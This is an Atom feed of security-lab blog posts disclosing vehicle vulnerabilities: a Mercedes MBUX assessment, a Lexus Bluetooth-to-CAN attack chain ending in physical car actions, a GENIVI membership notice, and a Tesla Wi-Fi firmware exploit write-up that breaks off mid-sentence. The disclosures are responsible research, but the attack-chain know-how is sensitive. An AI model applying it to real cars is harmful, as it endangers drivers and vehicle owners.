<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Keen Security Lab Blog</title>
  
  
  <link href="http://keenlab.tencent.com/en/atom.xml" rel="self"/>
  
  <link href="http://keenlab.tencent.com/en/"/>
  <updated>2025-12-08T11:23:10.851Z</updated>
  <id>http://keenlab.tencent.com/en/</id>
  
  <author>
    <name>Tencent Keen Security Lab</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Tencent Security Keen Lab: Experimental Security Assessment of Mercedes-Benz Cars</title>
    <link href="http://keenlab.tencent.com/en/2021/05/12/Tencent-Security-Keen-Lab-Experimental-Security-Assessment-on-Mercedes-Benz-Cars/"/>
    <id>http://keenlab.tencent.com/en/2021/05/12/Tencent-Security-Keen-Lab-Experimental-Security-Assessment-on-Mercedes-Benz-Cars/</id>
    <published>2021-05-12T06:00:00.000Z</published>
    <updated>2025-12-08T11:23:10.851Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/en/img/Tencent-Security-Keen-Lab-Experimental-Security-Assessment-on-Mercedes-Benz-Cars/pic_1.jpg"><br>MBUX, Mercedes-Benz User Experience is the infotainment system in Mercedes-Benz cockpits. Mercedes-Benz first introduced MBUX in the new A-Class back in 2018, and is adopting MBUX in their entire vehicle line-up, including Mercedes-Benz E-Class, GLE, GLS, EQC, etc.</p><p>In this research, we have conducted an in-depth and comprehensive analysis of both hardware and software of MBUX. We gathered technical materials and set up a test environment, analyzed the attack surfaces and performed security tests.</p><span id="more"></span><p>Modern infotainment system is much more powerful, complex and secure than before, so is MBUX from Mercedes-Benz. We haven’t seen any public material that gives a comprehensive security analysis of a modern infotainment system. So a broader security assessment is needed in this research, instead of a single security penetration event. We have explored the attack surfaces exhaustively including components such as the radio.</p><p>In our research, we found various security issues on MBUX and successfully exploited some attack surfaces on the head unit and T-Box. We have gained first physical access and subsequently remote access to the main infotainment ECU: the head unit. This enabled us to perform certain vehicle functions remotely (i.e. change internal lighting colors, display images on infotainment screen). We demonstrated how to compromise an internal chip on T-Box, which was proved by sending arbitrary CAN messages from a debug version T-Box.</p><p><img src="/en/img/Tencent-Security-Keen-Lab-Experimental-Security-Assessment-on-Mercedes-Benz-Cars/pic_2.gif"></p><p>Following the global industry practice on “responsible disclosure” of product security vulnerabilities, we have reported the technical details of all the vulnerabilities discovered in this research to Daimler. The discovered vulnerabilities have been immediately confirmed by their security team.</p><p>Keen Lab appreciates the prompt response and proactive attitude of Daimler, on responding our vulnerability report and for taking direct action to fix the issues efficiently. Both companies collaborate closely and highly efficient.</p><p><strong>Issued CVEs</strong>:</p><p><img src="/en/img/Tencent-Security-Keen-Lab-Experimental-Security-Assessment-on-Mercedes-Benz-Cars/pic_3.png"></p><h2 id="Disclosure-Timeline"><a href="#Disclosure-Timeline" class="headerlink" title="Disclosure Timeline"></a>Disclosure Timeline</h2><p><strong>March 2020</strong>: Keen Lab kicked off the Mercedes-Benz research project internally.<br><strong>November 2020</strong>: Keen Lab proved all the vulnerability findings and attack chains in an experimental environment.<br><strong>21st December 2020</strong>: First Email from Keen Lab to Daimler<br><strong>24th December 2020</strong>: Keen Lab reported all the research findings to Daimler security team in a secure way.<br><strong>7th January 2021</strong>: First clarification Call between Keen Lab and Daimler<br><strong>15th January 2021</strong>: Daimler security team confirmed all the vulnerabilities reported by Keen Lab. Some fixes for these vulnerabilities were already available and in rollout.<br><strong>21th January 2021</strong>: CVEs requested by Daimler security team.<br><strong>30th January 2021</strong>: Daimler security team confirmed and started the rollout for the new fixes.<br><strong>February&#x2F;March 2021</strong>: Preparation of the joint report publication.<br><strong>May 2021</strong>: This summary report has been released to public.</p><h2 id="Response-from-Daimler"><a href="#Response-from-Daimler" class="headerlink" title="Response from Daimler"></a>Response from Daimler</h2><p>Please refer the following link for the press release from Daimler:<br><a href="https://media.daimler.com/marsMediaSite/ko/en/49946866">https://media.daimler.com/marsMediaSite/ko/en/49946866</a></p><p>Daimler security team highly appreciate Keen Lab’s profound know-how, expertise and its excellent work in the Mercedes-Benz research project, Daniel Eitler (CISO of Daimler) and Adi Ofek (the CarIT Security Mandate in Mercedes-Benz Cars) award Keen Lab the signed thank you letter.</p><p><img src="/en/img/Tencent-Security-Keen-Lab-Experimental-Security-Assessment-on-Mercedes-Benz-Cars/pic_4.jpg"></p><h2 id="Technical-Research-Report"><a href="#Technical-Research-Report" class="headerlink" title="Technical Research Report"></a>Technical Research Report</h2><p>Please refer the following link to know more about our research:<br><a href="/en/whitepapers/Mercedes_Benz_Security_Research_Report_Final.pdf">Mercedes-Benz MBUX Security Research Report.pdf</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/en/img/Tencent-Security-Keen-Lab-Experimental-Security-Assessment-on-Mercedes-Benz-Cars/pic_1.jpg&quot;&gt;&lt;br&gt;MBUX, Mercedes-Benz User Experience is the infotainment system in Mercedes-Benz cockpits. Mercedes-Benz first introduced MBUX in the new A-Class back in 2018, and is adopting MBUX in their entire vehicle line-up, including Mercedes-Benz E-Class, GLE, GLS, EQC, etc.&lt;/p&gt;
&lt;p&gt;In this research, we have conducted an in-depth and comprehensive analysis of both hardware and software of MBUX. We gathered technical materials and set up a test environment, analyzed the attack surfaces and performed security tests.&lt;/p&gt;</summary>
    
    
    
    
    <category term="CarHacking" scheme="http://keenlab.tencent.com/en/tags/CarHacking/"/>
    
  </entry>
  
  <entry>
    <title>Tencent Keen Security Lab: Experimental Security Assessment on Lexus Cars</title>
    <link href="http://keenlab.tencent.com/en/2020/03/30/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/"/>
    <id>http://keenlab.tencent.com/en/2020/03/30/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/</id>
    <published>2020-03-30T01:55:00.000Z</published>
    <updated>2025-12-08T11:23:10.851Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/focus_pic.png"></p><p>Since 2017, Lexus has equipped several models (including Lexus NX, LS and ES series) with a new generation infotainment, which is also known as AVN (Audio, Visual and Navigation) unit. Compared to some Intelligent connected infotainment units, like Tesla IVI and BMW ConnectedDrive system, the new Lexus AVN unit seems to be a bit more traditional. From a security perspective, it may highly reduce the possibility of being attacked by potential cybersecurity issues. But a new system is always introducing new security risks. After conducting an ethical hacking research on a 2017 Lexus NX300, Keen Security Lab [1] has discovered several security findings in Bluetooth and vehicular diagnosis functions on the car, which would compromise AVN unit, internal CAN network and related ECUs. By chaining the findings, Keen Security Lab are able to wirelessly take control of AVN unit without any user interaction, then inject malicious CAN messages from AVN unit into CAN network to cause a vulnerable car to perform some unexpected, physical actions.<br>Currently, Toyota is in progress working on the mitigation plans. Therefore, we decided to just make a brief disclosure in this paper, instead of a full disclosure which would be considered as irresponsible to vehicle users. If all goes well, the full technical report will be released at a proper time in the year 2021.</p><span id="more"></span><p><img src="/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/Replaced_Logo_4M.gif"></p><h2 id="In-Vehicle-Units-Overview"><a href="#In-Vehicle-Units-Overview" class="headerlink" title="In-Vehicle Units Overview"></a>In-Vehicle Units Overview</h2><p>Based on hardware analysis and CAN network testing on a 2017 Lexus NX300, we have a basic understanding of the in-vehicle architecture (AVN, DCM, ECUs and CAN network), which is shown in the following figure. </p><p><img src="/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/1.png" alt="Figure 1. Architecture of the In-Vehicle Units"></p><h3 id="DCM"><a href="#DCM" class="headerlink" title="DCM"></a>DCM</h3><p>It’s a telematic box (a.k.a. T-Box) running on a Qualcomm MDM6600 baseband chip. Using the Ethernet over USB interface, it offers 3G network for AVN unit to support telematics service. It can query status of ECUs (like Engine and Doors) through CAN bus and upload the result to the backend.</p><h3 id="AVN"><a href="#AVN" class="headerlink" title="AVN"></a>AVN</h3><p>As an in-vehicle infotainment unit, it provides users radio, multimedia and navigation functions. Actually, the Lexus AVN is comprised of two components: DCU (Display Control Unit) and MEU (Multimedia Extension Unit for maps). DCU is the key component of AVN Unit. The main board of DCU exposes some general attack surfaces, like Wi-Fi, Bluetooth and USB interfaces. Thanks to the uCOM board, DCU can talk with the internal ECUs via CAN messages indirectly. MEU is pretty transparent to users, which is only responsible for providing navigation data. Between DCU and MEU, there’s a USB Ethernet cable for messaging communication.</p><h3 id="DCU-Main-Board"><a href="#DCU-Main-Board" class="headerlink" title="DCU Main Board"></a>DCU Main Board</h3><p>After tearing down DCU, we found it includes two circuit boards. According to the position, as shown in the following figure, the top-layer is referred to be DCU Main Board, and the bottom-layer is DCU uCOM Board. </p><p><img src="/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/2.png" alt="Figure 2. DCU Boards of AVN Unit"></p><p>The DCU Main Board is integrated with some regular chips, including a Renesas R8A779x SoC [2], Broadcom BCM4339 chip for Wi-Fi &amp; Bluetooth, 2 x 512MB SDRAM, an 8GB eMMC NAND Flash and an 8MB SPI NOR Flash on the board. The SoC has dual ARM-CortexA15 cores that are used to run various codes including the initial code (bootrom), U-Boot in NOR Flash, as well as the Linux system in eMMC Flash.<br>There’s a standalone SPI NOR Flash on the back side of DCU Main Board. According to the chip’s datasheet, the SPI Flash has 64M-bits of total storage. It’s trivial to solder all the pins and connect them to a universal Flash programmer. After choosing the correct flash chip ID in the “flashrom” [3], the whole Flash data can be dumped. After reverse engineering the dumped data, we deduced the Flash’s memory layout basically (as shown in Figure 3). In order to support A&#x2F;B system updates, the Flash keeps a copy of some firmware images and config data, like U-Boot Config, U-Boot Image and BSP Boot Config. </p><p><img src="/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/3.png" alt="Figure 3. Memory Layout of SPI Nor Flash (8MB)"></p><p>DCU Main Board also integrates an 8GB eMMC NAND Flash to store the main codes and data of the AVN unit, including Linux kernel image, device tree blob, ramdisk image and Ext4 filesystems with multiple partitions. Meanwhile, there’s a snapshot image of Linux system that is used to enable quick boot for the AVN unit. And in order to support A&#x2F;B (Seamless) system updates, the eMMC Flash also keeps a copy of the Linux kernel image and ramdisk image. The memory layout of the eMMC Flash is as follows.</p><p><img src="/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/4.png" alt="Figure 4. Memory Layout of eMMC NAND Flash (8GB)"></p><h3 id="DCU-uCOM-Board"><a href="#DCU-uCOM-Board" class="headerlink" title="DCU uCOM Board"></a>DCU uCOM Board</h3><p>The purpose of DCU uCOM Board is to manage the power and external units, like DVD player, air conditioner, touch pad and electric clock. In order to communicate with these external units, the uCOM Board equips with two CAN&amp;LIN controller MCUs (SYSuCOM and CANuCOM) and each controller MCU is connected to a standalone CAN transceiver on the board.<br><strong>CANuCOM</strong> MCU is a CAN and LIN controller of the DCU. It has a Renesas R5F10PLJL chip (shown in Figure 5). By connecting to a CAN transceiver, CANuCOM can access the Infotainment CAN directly and exchange CAN messages with the in-vehicle ECUs, like Gateway ECU and Main Body ECU.</p><p><img src="/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/5.png" alt="Figure 5. Front Side of DCU uCOM Board"></p><p><strong>SYSuCOM</strong> MCU is a CAN controller based on the Panasonic MNZLF79WXWUB chip. With a CAN transceiver, it exchanges CAN messages with the touch pad and electric clock which are in a dedicated CAN domain. It connects CANuCOM and DCU Main Board with UART ports directly. SYSuCOM exchanges different messages between DCU Main Board and the external units. </p><p><img src="/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/6.png" alt="Figure 6. Back Side of DCU uCOM Board"></p><h3 id="ECUs-and-CAN-Network"><a href="#ECUs-and-CAN-Network" class="headerlink" title="ECUs and CAN Network"></a>ECUs and CAN Network</h3><p>Central gateway is an important ECU, which separates the in-vehicle CAN network into different CAN domains, like Infotainment CAN, Body Electrical CAN, OBD Diagnostic CAN, Chassis CAN and Powertrain CAN. Another essential ECU is Main Body ECU, which is also known as Body Control Module (BCM). The Main Body ECU manages a set of ECUs  which are used to handle vehicle body related functions. DCM and AVN belong to Infotainment domain. For purpose of CAN-bus messaging, DCU has 2 different CAN buses (which are referred to be CAN-1 and CAN-2) on uCOM Board by design. With the uCOM board, DCU Main Board can retrieve vehicle status by sending specific CAN messages to Gateway ECU.<br><strong>CAN-1.</strong> The CAN bus of CANuCOM MCU, which is connected directly to the Infotainment CAN. By communicating with SYSuCOM through UART, CANuCOM can transfer indirect CAN messages that are sent from the DCU Main Board.<br><strong>CAN-2.</strong> The CAN bus of SYSuCOM MCU, which is a dedicated CAN bus for communication among DCU, touch pad and electric clock. This CAN bus is physically separated from in-vehicle CAN network.<br>In order to send CAN messages, DCU Main Board establishes two standard UART ports (&#x2F;dev&#x2F;ttySC1 and &#x2F;dev&#x2F;ttySC9) with SYSuCOM. The DCU system can send custom CAN messages into &#x2F;dev&#x2F;ttySC1 and the messages will be transferred to CAN-1 bus. In a similar way, CAN messages sent into &#x2F;dev&#x2F;ttySC9 will be transmitted to CAN-2 bus. </p><h2 id="Security-findings"><a href="#Security-findings" class="headerlink" title="Security findings"></a>Security findings</h2><p>All the following security findings have been proven to be effective on a 2017 Lexus NX300, and also have been confirmed by Toyota after we submitted the full report and collaborated with them on technical details.</p><p><img src="/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/7.png" alt="Table 1. Security Findings on Lexus NX300 2017"></p><h3 id="Compromising-DCU-System-Wirelessly"><a href="#Compromising-DCU-System-Wirelessly" class="headerlink" title="Compromising DCU System Wirelessly"></a>Compromising DCU System Wirelessly</h3><p>We utilized two vulnerabilities to exploit the in-vehicle Bluetooth service and got remote code execution in DCU system (Linux OS) with root privileges. The first vulnerability is caused by an out-of-bound heap memory read and the second is a heap buffer overflow vulnerability. Both vulnerabilities lie in the process of creating Bluetooth connection before pairing, which makes Bluetooth exploitation absolutely touch-less and interaction-less at close proximity. In order to obtain Bluetooth MAC address of an affected car, a well-known device “Ubertooth One” [4] is useful to sniffer MAC address over the air if DCU system has been paired with mobile phones before.<br>Furthermore, DCU system does not support secure boot, which means the whole system can be manipulated, such as replacing a custom boot animation as usual. After fully taking control of DCU system, we found it’s not easy to send arbitrary CAN messages, because of CAN message filtering mechanism has been implemented in DCU uCOM board. Luckily, DCU Linux system is still responsible for reprograming uCOM firmware.</p><h3 id="Reprograming-uCOM-Firmware"><a href="#Reprograming-uCOM-Firmware" class="headerlink" title="Reprograming uCOM Firmware"></a>Reprograming uCOM Firmware</h3><p>By reverse engineering the uCOM firmware and its update logic, we were able to re-flash the uCOM board with malicious firmware images to bypass CAN message validations, and gain the ability of sending arbitrary CAN messages to Infotainment CAN.</p><h3 id="Transmitting-Unauthorized-Diagnosis-Messages"><a href="#Transmitting-Unauthorized-Diagnosis-Messages" class="headerlink" title="Transmitting Unauthorized Diagnosis Messages"></a>Transmitting Unauthorized Diagnosis Messages</h3><p>Based on experimental testing results of on-board diagnostics, we confirmed a compromised DCU system is permitted to control diagnostic functions via unauthorized diagnostic CAN messages. For example, the Main Body ECU can be maliciously diagnosed to make a car perform physical actions without authentication.</p><p><img src="/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/8.png" alt="Figure 7. Main Body ECU"></p><h2 id="Wireless-Attack-Chain"><a href="#Wireless-Attack-Chain" class="headerlink" title="Wireless Attack Chain"></a>Wireless Attack Chain</h2><p>By chaining the findings (listed in Table 1) existed in Bluetooth and on-board diagnostic functions, a remote, touch-less attack chain from Bluetooth wireless connectivity down into automotive CAN network is feasible to be implemented as follows. </p><p><img src="/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/9.png" alt="Figure 8. Wireless Attack Chain from Bluetooth down into CAN Network"></p><p><strong>Phase-1.</strong> As the in-car Bluetooth service is running with root user privileges in DCU system. Once DCU system is compromised by Bluetooth vulnerabilities, the malicious codes are going to be deployed wirelessly and permanently resident in the system.<br><strong>Phase-2.</strong> The malicious codes can be designed to make the compromised DCU system automatically connect to a Wi-Fi hotspot we created and remotely spawn an interactive root shell of DCU system.<br><strong>Phase-3.</strong> Then we could maliciously transmit arbitrary CAN messages through SYSuCOM and CANuCOM to CAN bus (from the root shell through Wi-Fi network).<br><strong>Phase-4.</strong> Furthermore, by leveraging the diagnostic CAN messages, some automotive ECUs inside CAN network would be tricked into executing diagnostic functions and triggering the car with unexpected physical motions.</p><h2 id="Disclosure-Process"><a href="#Disclosure-Process" class="headerlink" title="Disclosure Process"></a>Disclosure Process</h2><p>The security research of Lexus cars is an ethical hacking research project. Keen Lab follows the “Responsible Disclosure” practice, which is a well-recognized practice by global manufactures in software and internet industries, to work with Toyota on fixing the security findings and attack chains listed in this report.</p><p>Below is the detailed disclosure timeline:</p><p><img src="/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/10.png" alt="Table 2. Disclosure Timeline"></p><h2 id="Press-Release-from-Toyota"><a href="#Press-Release-from-Toyota" class="headerlink" title="Press Release from Toyota"></a>Press Release from Toyota</h2><p>Please refer the following link.<br><a href="https://global.toyota/en/newsroom/corporate/32120629.html">https://global.toyota/en/newsroom/corporate/32120629.html</a></p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p>[1] <a href="https://keenlab.tencent.com/en/">https://keenlab.tencent.com/en/</a><br>[2] <a href="https://www.renesas.com/us/en/solutions/automotive/soc/r-car-m2.html">https://www.renesas.com/us/en/solutions/automotive/soc/r-car-m2.html</a><br>[3] <a href="https://www.flashrom.org/Flashrom">https://www.flashrom.org/Flashrom</a><br>[4] <a href="https://greatscottgadgets.com/ubertoothone/">https://greatscottgadgets.com/ubertoothone/</a><br>[5] <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5551">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5551</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/focus_pic.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;Since 2017, Lexus has equipped several models (including Lexus NX, LS and ES series) with a new generation infotainment, which is also known as AVN (Audio, Visual and Navigation) unit. Compared to some Intelligent connected infotainment units, like Tesla IVI and BMW ConnectedDrive system, the new Lexus AVN unit seems to be a bit more traditional. From a security perspective, it may highly reduce the possibility of being attacked by potential cybersecurity issues. But a new system is always introducing new security risks. After conducting an ethical hacking research on a 2017 Lexus NX300, Keen Security Lab [1] has discovered several security findings in Bluetooth and vehicular diagnosis functions on the car, which would compromise AVN unit, internal CAN network and related ECUs. By chaining the findings, Keen Security Lab are able to wirelessly take control of AVN unit without any user interaction, then inject malicious CAN messages from AVN unit into CAN network to cause a vulnerable car to perform some unexpected, physical actions.&lt;br&gt;Currently, Toyota is in progress working on the mitigation plans. Therefore, we decided to just make a brief disclosure in this paper, instead of a full disclosure which would be considered as irresponsible to vehicle users. If all goes well, the full technical report will be released at a proper time in the year 2021.&lt;/p&gt;</summary>
    
    
    
    
    <category term="CarHacking" scheme="http://keenlab.tencent.com/en/tags/CarHacking/"/>
    
  </entry>
  
  <entry>
    <title>Tencent Keen Security Lab joins GENIVI Alliance</title>
    <link href="http://keenlab.tencent.com/en/2020/03/18/Tencent-Keen-Security-Lab-joins-GENIVI-Alliance/"/>
    <id>http://keenlab.tencent.com/en/2020/03/18/Tencent-Keen-Security-Lab-joins-GENIVI-Alliance/</id>
    <published>2020-03-18T08:00:00.000Z</published>
    <updated>2025-12-08T11:23:10.851Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/en/img/Tencent-Keen-Security-Lab-joins-GENIVI-Alliance/focus_pic.png"></p><p>Tencent Keen Security Lab (Keen Lab) has joined the GENIVI Alliance, a non-profit alliance focused on delivering open source, in-vehicle infotainment (IVI) and connected vehicle software.</p><span id="more"></span><p><img src="/en/img/Tencent-Keen-Security-Lab-joins-GENIVI-Alliance/keenlogo_genivi.png"></p><h2 id="About-GENIVI"><a href="#About-GENIVI" class="headerlink" title="About GENIVI"></a>About GENIVI</h2><p>The GENIVI Alliance[1] develops standard approaches for integrating operating systems and middleware present in the centralized and connected vehicle cockpit.  The alliance links adopters of Android™ Automotive, AUTOSAR, Linux, and other in-vehicle software with solution suppliers resulting in a productive and collaborative community of 100+ members worldwide.<br><img src="/en/img/Tencent-Keen-Security-Lab-joins-GENIVI-Alliance/genivi_logo.png"></p><h2 id="About-Keen-Lab"><a href="#About-Keen-Lab" class="headerlink" title="About Keen Lab"></a>About Keen Lab</h2><p>Keen Lab is a professional security research team, focusing on cybersecurity for PCs and mobile devices more than ten years, under Tencent Company. In recent years, Keen Lab expanded capabilities in new research areas including connected&#x2F;intelligent cars, IoT products, cloud computing and virtualization, as well as AI. A major research focus of Tencent Keen Security Lab is automotive security. . Since 2015, Keen Lab started research projects in connected vehicle[2,3,4] categories and building partnership with manufacturers in IoT and car industries. Keen Lab has accumulated a wealth of experience and technology in vehicle security penetration testing, security solutions, best practices for connected car.</p><p><img src="/en/img/Tencent-Keen-Security-Lab-joins-GENIVI-Alliance/keen_honor.jpg"></p><h2 id="Cooperation"><a href="#Cooperation" class="headerlink" title="Cooperation"></a>Cooperation</h2><p>As  a new member of the GENIVI, Keen Lab will contribute its comprehensive expertise and in depth understanding of vehicle technologies to improving the development processes and security guidelines, providing a shared benefit for GENIVI members, and enhance automotive security with its knowledge and solutions.</p><p>[1] <a href="https://www.genivi.org/about-genivi/">https://www.genivi.org/about-genivi/</a><br>[2] <a href="https://keenlab.tencent.com/en/2016/09/19/Keen-Security-Lab-of-Tencent-Car-Hacking-Research-Remote-Attack-to-Tesla-Cars/">https://keenlab.tencent.com/en/2016/09/19/Keen-Security-Lab-of-Tencent-Car-Hacking-Research-Remote-Attack-to-Tesla-Cars/</a><br>[3] <a href="https://keenlab.tencent.com/en/2017/07/27/New-Car-Hacking-Research-2017-Remote-Attack-Tesla-Motors-Again/">https://keenlab.tencent.com/en/2017/07/27/New-Car-Hacking-Research-2017-Remote-Attack-Tesla-Motors-Again/</a><br>[4] <a href="https://keenlab.tencent.com/zh/2018/05/22/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/">https://keenlab.tencent.com/zh/2018/05/22/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/en/img/Tencent-Keen-Security-Lab-joins-GENIVI-Alliance/focus_pic.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tencent Keen Security Lab (Keen Lab) has joined the GENIVI Alliance, a non-profit alliance focused on delivering open source, in-vehicle infotainment (IVI) and connected vehicle software.&lt;/p&gt;</summary>
    
    
    
    
    <category term="CarHacking" scheme="http://keenlab.tencent.com/en/tags/CarHacking/"/>
    
  </entry>
  
  <entry>
    <title>Exploiting Wi-Fi Stack on Tesla Model S</title>
    <link href="http://keenlab.tencent.com/en/2020/01/02/exploiting-wifi-stack-on-tesla-model-s/"/>
    <id>http://keenlab.tencent.com/en/2020/01/02/exploiting-wifi-stack-on-tesla-model-s/</id>
    <published>2020-01-02T04:00:00.000Z</published>
    <updated>2025-12-08T11:23:10.851Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/head.png"></p><p>In the past two years, Keen Security Lab did in-depth research on the security of Tesla Cars and presented our research results on Black Hat 2017 and Black Hat 2018. Our research involves many in-vehicle components. We demonstrated how to hack into these components, including CID, IC, GATEWAY, and APE. The vulnerabilities we utilized exists in the kernel, browser, MCU firmware, UDS protocol, and OTA updating services. It is worth noting that recently we did some interesting works on Autopilot module, we analyzed the implementation details of autowipers and lane recognition function and make an example of attacking in the physical world.</p><p>To understand the security of Tesla&#39;s on-board system more comprehensively, we researched the Wi-Fi module (aka Parrot on Model S) and found two vulnerabilities in the Wi-Fi firmware and Wi-Fi driver. By combining these two vulnerabilities, the host Linux system can be compromised.</p><span id="more"></span><h2 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h2><p>This article reveals the details of two vulnerabilities and introduces how to exploit these vulnerabilities, which proves that these vulnerabilities can be used by an attacker to hack into the Tesla Model S in-vehicle system remotely through the Wi-Fi.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image1.png"></p><h2 id="Parrot-Module"><a href="#Parrot-Module" class="headerlink" title="Parrot Module"></a>Parrot Module</h2><p>The third-party module Parrot on Tesla Model S is FC6050W, which integrates the Wireless function and Bluetooth function. Parrot connects to CID via USB protocol and runs Linux. Parrot uses the USB Ethernet gadget so that Parrot can communicate with CID trough Ethernet. When Tesla Model S connected to a wireless network, it is Parrot connected to the wireless network. Then, the network traffic from CID routed by Parrot.</p><p>We can find the hardware organization from a very detailed datasheet[1].</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image2.png"></p><p>The pinout description of Parrot also presented in the datasheet. The Linux shell can be found through the Debug UART pins.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image3.png"></p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image4.png"></p><p>The reset pin connects to the GPIO port of CID. Thus CID can reset the whole Parrot module by using these commands.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> 1 \&gt; /sys/class/gpio/gpio171/value</span><br><span class="line"><span class="built_in">sleep</span> 1</span><br><span class="line"><span class="built_in">echo</span> 0 \&gt; /sys/class/gpio/gpio171/value</span><br></pre></td></tr></table></figure><h2 id="Marvell-Wifi-Chip"><a href="#Marvell-Wifi-Chip" class="headerlink" title="Marvell Wifi Chip"></a>Marvell Wifi Chip</h2><p>The Marvell 88W8688 is a low-cost, low-power highly-integrated IEEE 802.11a&#x2F;g&#x2F;b MAC&#x2F;Baseband&#x2F;RF WLAN and Bluetooth Baseband&#x2F;RF system-on-chip (SoC) [2].</p><p>The block diagram published on the Marvell website[3].</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image5.png"></p><p>The 88w8688 contains an embedded high-performance Marvell Ferocean ARM9-compatible processor. By modifying the firmware, we acquired the value of the Main ID Register, which is 0x11101556. According to the value, we concluded the CPU might be Feroceon 88FR101 rev 1. On Parrot, the Marvell 88w8688 chipset connects to the host system via the SDIO interface.</p><p>The memory region of 88w8688 could be as follows.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/table1.png"></p><h2 id="Firmware"><a href="#Firmware" class="headerlink" title="Firmware"></a>Firmware</h2><p>The firmware download process of 88w8688 contains two stages, the helper firmware “sd8688_helper.bin” downloads to chip first, then the main firmware “sd8688.bin” downloads to chip. The helper responsible for and downloading the firmware file and verifying every chunk of the firmware file. The firmware file consists of many chunks, below is the structure of each chunk stable.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">fw_chunk</span> &#123;</span>   </span><br><span class="line">  <span class="type">int</span> chunk_type;</span><br><span class="line">  <span class="type">int</span> addr;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> length;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> crc32;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">char</span> [<span class="number">1</span>];</span><br><span class="line">&#125; __packed;</span><br></pre></td></tr></table></figure><p>The 88w8688 chip runs based on ThreadX OS which is an RTOS targeting for embedded devices. The code of ThreadX can be found in the ROM region, so the firmware “sd8688.bin” runs as an application of ThreadX.</p><p>On Tesla, the version ID of firmware “sd8688.bin” is “sd8688-B1, RF868X, FP44, 13.44.1.p49”. All the following research results are based on this version.</p><p>After identified the ThreadX API, the information about tasks is as below.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/table2.png"></p><p>Also, the information about memory pools is as below.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/table3.png"></p><h2 id="Log-and-Debug"><a href="#Log-and-Debug" class="headerlink" title="Log and Debug"></a>Log and Debug</h2><p>The firmware did not implement the CPU vector handler for Data Abort, Prefetch Abort, Undefine, and SWI, which means the firmware halts after a crash, and we cannot know where and why the firmware crash.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image6.png"></p><p>So, we patched the firmware with our custom Prefetch Abort and Data Abort vector handler. The handler records the values of register includes general-purpose register, the status register, and link register in system mode and IRQ mode. In this way, we can know where the code runs in both system mode and IRQ mode when a crash happens.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image7.png"></p><p>We chose to write these values to unused memory, for example, 0x52100~0x5FFFF. These values still can be read after the chip reset.</p><p>After implemented the undefine vector handler and changed some instruction to undefine instruction, we can get or set registers when the firmware is running. In this way, we can debug the firmware.</p><p>To re-download a new firmware to chip, try to send the command HostCmd_CMD_SOFT_RESET from kernel to chip, then the chip resets and new firmware downloads.</p><h2 id="Vulnerability-in-Firmware"><a href="#Vulnerability-in-Firmware" class="headerlink" title="Vulnerability in Firmware"></a>Vulnerability in Firmware</h2><p>The 88w8688 chip supports 802.11e WMM (Wi-Fi Multimedia) protocol. In this protocol, the station could send an action frame Add Traffic Stream (ADDTS) request with Traffic Specification (TSPEC) to another 